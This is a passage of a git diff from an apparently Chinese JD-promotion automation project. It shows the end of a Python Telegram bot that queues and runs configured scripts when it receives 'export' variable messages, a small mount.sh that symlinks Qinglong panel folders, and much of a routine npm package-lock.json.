None: + await client.send_message(bot_id, f'跑过 {text}') + return + cache.set(activity_id, activity_id) + else: + if cache.get(text) is not None: + await client.send_message(bot_id, f'跑过 {text}') + return + cache.set(text, text) + logger.info(f"最终变量 {text}") + kv = text.replace("export ", "") + key = kv.split("=")[0] + value = re.findall(r'"([^"]*)"', kv)[0] + action = monitor_scripts.get(key) + logger.info(f'ACTION {action}') + if action is None: # 没有自动车 + await client.send_message(bot_id, f'没有自动车 #{text}') + return + file = action.get("file", "") + # 没有匹配的动作 或没开启 + name = action.get("name") + enable = action.get("enable") + logger.info(f'name {name} enable {enable}') + if not enable: + await client.send_message(bot_id, f'未开启任务 #{name}') + return + queue = action.get("queue") + logger.info(f'queue {queue} name {name}') + if queue: + await queues[action.get("queue_name")].put({"text": text, "action": action}) + await client.send_message(bot_id, f'入队执行 #{name}') + return + logger.info(f'设置环境变量export {action}') + await export(text) + await client.send_message(bot_id, f'开始执行 #{name}') + await cmd(f'cd {monitor_scripts_path} && {command} {file}') + except Exception as e: + logger.error(e) + await client.send_message(bot_id, f'{str(e)}') + + +queues = {} + + +async def task(task_name, task_key): + logger.info(f"队列监听--> {task_name} {task_key} 已启动,等待任务") + curr_queue = queues[task_key] + while True: + try: + param = await curr_queue.get() + logger.info(f"出队执行开始 {param}") + text = param.get("text") + kv = text.replace("export ", "") + key = kv.split("=")[0] + value = re.findall(r'"([^"]*)"', kv)[0] + logger.info(f'出队执行变量与值 {key},{value}') + action = param.get("action") + logger.info(f'ACTION {action}') + file = action.get("file", "") + logger.info(f'JTASK命令 {file},{parse.quote_plus(value)}') + logger.info(f'出队执行-->设置环境变量export {action}') + await export(text) + await cmd(f'cd {monitor_scripts_path} && {command} {file}') + if curr_queue.qsize() > 1: + await client.send_message(bot_id, f'{action["name"]},队列长度{curr_queue.qsize()},将等待{action["wait"]}秒...') + await asyncio.sleep(action['wait']) + except Exception as e: + logger.error(e) + + +async def cmd(text): + try: + logger.info(f"执行命令{text}") + if 'node' in text: + name = re.findall(r'node (.*).js', text)[0] + else: + name = re.findall(r'task (.*).js', text)[0] + tmp_log = f'{log_path}/{name}.{datetime.datetime.now().strftime("%H%M%S%f")}.log' + proc = await asyncio.create_subprocess_shell( + f"{text} >> {tmp_log} 2>&1", + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + await proc.communicate() + if log_send: + await client.send_file(bot_id, tmp_log) + # os.remove(tmp_log) + except Exception as e: + logger.error(e) + await client.send_message(bot_id, f'something wrong,I\'m sorry\n{str(e)}') + + +if __name__ == "__main__": + try: + logger.info("开始运行") + for key in monitor_scripts: + action = monitor_scripts[key] + name = action.get('name') + queue = action.get("queue") + if queue: + queues[action.get("queue_name")] = asyncio.Queue() + client.loop.create_task(task(name, key)) + else: + logger.info(f"无需队列--> {name} {key}") + client.run_until_disconnected() + except Exception as e: + logger.error(e) + client.disconnect() diff --git a/mount.sh b/mount.sh new file mode 100644 index 0000000..23b9152 --- /dev/null +++ b/mount.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash + +ln -s /ql/data/config /ql/config +ln -s /ql/data/db /ql/db +ln -s /ql/data/jbot /ql/jbot +ln -s /ql/data/log /ql/log +ln -s /ql/data/scripts /ql/scripts +echo "# 旧版青龙目录挂载完成。" \ No newline at end of file diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..bccf1e5 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1583 @@ +{ + "name": "jd", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@sindresorhus/is": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.7.0.tgz", + "integrity": "sha512-ONhaKPIufzzrlNbqtWFFd+jlnemX6lJAgq9ZeiZtS7I1PIf/la7CW4m83rTXRnVnsMbW2k56pGYu7AUFJD9Pow==" + }, + "@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "requires": { + "defer-to-connect": "^2.0.0" + } + }, + "@types/cacheable-request": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.2.tgz", + "integrity": "sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA==", + "requires": { + "@types/http-cache-semantics": "*", + "@types/keyv": "*", + "@types/node": "*", + "@types/responselike": "*" + } + }, + "@types/http-cache-semantics": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", + "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" + }, + "@types/keyv": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.2.tgz", + "integrity": "sha512-/FvAK2p4jQOaJ6CGDHJTqZcUtbZe820qIeTg7o0Shg7drB4JHeL+V/dhSaly7NXx6u8eSee+r7coT+yuJEvDLg==", + "requires": { + "@types/node": "*" + } + }, + "@types/node": { + "version": "16.7.10", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.7.10.tgz", + "integrity": "sha512-S63Dlv4zIPb8x6MMTgDq5WWRJQe56iBEY0O3SOFA9JrRienkOVDXSXBjjJw6HTNQYSE2JI6GMCR6LVbIMHJVvA==" + }, + "@types/responselike": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", + "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "requires": { + "@types/node": "*" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "archive-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/archive-type/-/archive-type-4.0.0.tgz", + "integrity": "sha1-+S5yIzBW38aWlHJ0nCZ72wRrHXA=", + "requires": { + "file-type": "^4.2.0" + }, + "dependencies": { + "file-type": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-4.4.0.tgz", + "integrity": "sha1-G2AOX8ofvcboDApwxxyNul95BsU=" + } + } + }, + "asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" + }, + "async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "requires": { + "lodash": "^4.17.14" + } + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" + }, + "aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==" + }, + "axios": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz", + "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==", + "requires": { + "follow-redirects": "^1.10.0" + } + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "basic-auth": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-1.1.0.tgz", + "integrity": "sha1-RSIe5Cn37h5QNb4/UVM/HN/SmIQ=" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bl": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz", + "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==", + "requires": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", + "requires": { + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" + } + }, + "buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==" + }, + "buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=" + }, + "buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=" + }, + "cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==" + }, + "cacheable-request": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-2.1.4.tgz", + "integrity": "sha1-DYCIAbY0KtM8kd+dC0TcCbkeXD0=", + "requires": { + "clone-response": "1.0.2", + "get-stream": "3.0.0", + "http-cache-semantics": "3.8.1", + "keyv": "3.0.0", + "lowercase-keys": "1.0.0", + "normalize-url": "2.0.1", + "responselike": "1.0.2" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "lowercase-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.0.tgz", + "integrity": "sha1-TjNms55/VFfjXxMkvfb4jQv8cwY=" + } + } + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" + }, + "clone-response": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", + "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==" + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "corser": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/corser/-/corser-2.0.1.tgz", + "integrity": "sha1-jtolLsqrWEDc2XXOuQ2TcMgZ/4c=" + }, + "crypto-js": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz", + "integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw==" + }, + "dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "date-fns": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.23.0.tgz", + "integrity": "sha512-5ycpauovVyAk0kXNZz6ZoB9AYMZB4DObse7P3BPWmyEjXNORTI8EJ6X0uaSAq4sCHzM1uajzrkr6HnsLQpxGXA==" + }, + "debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "requires": { + "ms": "^2.1.1" + } + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "decompress": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz", + "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==", + "requires": { + "decompress-tar": "^4.0.0", + "decompress-tarbz2": "^4.0.0", + "decompress-targz": "^4.0.0", + "decompress-unzip": "^4.0.1", + "graceful-fs": "^4.1.10", + "make-dir": "^1.0.0", + "pify": "^2.3.0", + "strip-dirs": "^2.0.0" + }, + "dependencies": { + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "requires": { + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "decompress-tar": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz", + "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==", + "requires": { + "file-type": "^5.2.0", + "is-stream": "^1.1.0", + "tar-stream": "^1.5.2" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-tarbz2": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz", + "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==", + "requires": { + "decompress-tar": "^4.1.0", + "file-type": "^6.1.0", + "is-stream": "^1.1.0", + "seek-bzip": "^1.0.5", + "unbzip2-stream": "^1.0.9" + }, + "dependencies": { + "file-type": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz", + "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==" + } + } + }, + "decompress-targz": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz", + "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==", + "requires": { + "decompress-tar": "^4.1.1", + "file-type": "^5.2.0", + "is-stream": "^1.1.0" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-unzip": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz", + "integrity": "sha1-3qrM39FK6vhVePczroIQ+bSEj2k=", + "requires": { + "file-type": "^3.8.0", + "get-stream": "^2.2.0", + "pify": "^2.3.0", + "yauzl": "^2.4.2" + }, + "dependencies": { + "file-type": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz", + "integrity": "sha1-JXoHg4TR24CHvESdEH1SpSZyuek=" + }, + "get-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz", + "integrity": "sha1-Xzj5PzRgCWZu4BUKBUFn+Rvdld4=", + "requires": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==" + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==" + }, + "download": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/download/-/download-8.0.0.tgz", + "integrity": "sha512-ASRY5QhDk7FK+XrQtQyvhpDKanLluEEQtWl/J7Lxuf/b+i8RYh997QeXvL85xitrmRKVlx9c7eTrcRdq2GS4eA==", + "requires": { + "archive-type": "^4.0.0", + "content-disposition": "^0.5.2", + "decompress": "^4.2.1", + "ext-name": "^5.0.0", + "file-type": "^11.1.0", + "filenamify": "^3.0.0", + "get-stream": "^4.1.0", + "got": "^8.3.1", + "make-dir": "^2.1.0", + "p-event": "^2.1.0", + "pify": "^4.0.1" + }, + "dependencies": { + "got": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/got/-/got-8.3.2.tgz", + "integrity": "sha512-qjUJ5U/hawxosMryILofZCkm3C84PLJS/0grRIpjAwu+Lkxxj5cxeCU25BG0/3mDSpXKTyZr8oh8wIgLaH0QCw==", + "requires": { + "@sindresorhus/is": "^0.7.0", + "cacheable-request": "^2.1.1", + "decompress-response": "^3.3.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "into-stream": "^3.1.0", + "is-retry-allowed": "^1.1.0", + "isurl": "^1.0.0-alpha5", + "lowercase-keys": "^1.0.0", + "mimic-response": "^1.0.0", + "p-cancelable": "^0.4.0", + "p-timeout": "^2.0.1", + "pify": "^3.0.0", + "safe-buffer": "^5.1.1", + "timed-out": "^4.0.1", + "url-parse-lax": "^3.0.0", + "url-to-options": "^1.0.1" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + } + } + }, + "duplexer3": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", + "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" + }, + "ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "ecstatic": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/ecstatic/-/ecstatic-3.3.2.tgz", + "integrity": "sha512-fLf9l1hnwrHI2xn9mEDT7KIi22UDqA2jaCwyCbSUJh9a1V+LEUSL/JO/6TIz/QyuBURWUHrFL5Kg2TtO1bkkog==", + "requires": { + "he": "^1.1.1", + "mime": "^1.6.0", + "minimist": "^1.1.0", + "url-join": "^2.0.5" + } + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" + }, + "eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "ext-list": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/ext-list/-/ext-list-2.2.2.tgz", + "integrity": "sha512-u+SQgsubraE6zItfVA0tBuCBhfU9ogSRnsvygI7wht9TS510oLkBRXBsqopeUG/GBOIQyKZO9wjTqIu/sf5zFA==", + "requires": { + "mime-db": "^1.28.0" + } + }, + "ext-name": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ext-name/-/ext-name-5.0.0.tgz", + "integrity": "sha512-yblEwXAbGv1VQDmow7s38W77hzAgJAO50ztBLMcUyUBfxv1HC+LGwtiEN+Co6LtlqT/5uwVOxsD4TNIilWhwdQ==", + "requires": { + "ext-list": "^2.0.0", + "sort-keys-length": "^1.0.0" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", + "requires": { + "pend": "~1.2.0" + } + }, + "file-type": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-11.1.0.tgz", + "integrity": "sha512-rM0UO7Qm9K7TWTtA6AShI/t7H5BPjDeGVDaNyg9BjHAj3PysKy7+8C8D137R88jnR3rFJZQB/tFgydl5sN5m7g==" + }, + "filename-reserved-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz", + "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik=" + }, + "filenamify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-3.0.0.tgz", + "integrity": "sha512-5EFZ//MsvJgXjBAFJ+Bh2YaCTRF/VP1YOmGrgt+KJ4SFRLjI87EIdwLLuT6wQX0I4F9W41xutobzczjsOKlI/g==", + "requires": { + "filename-reserved-regex": "^2.0.0", + "strip-outer": "^1.0.0", + "trim-repeated": 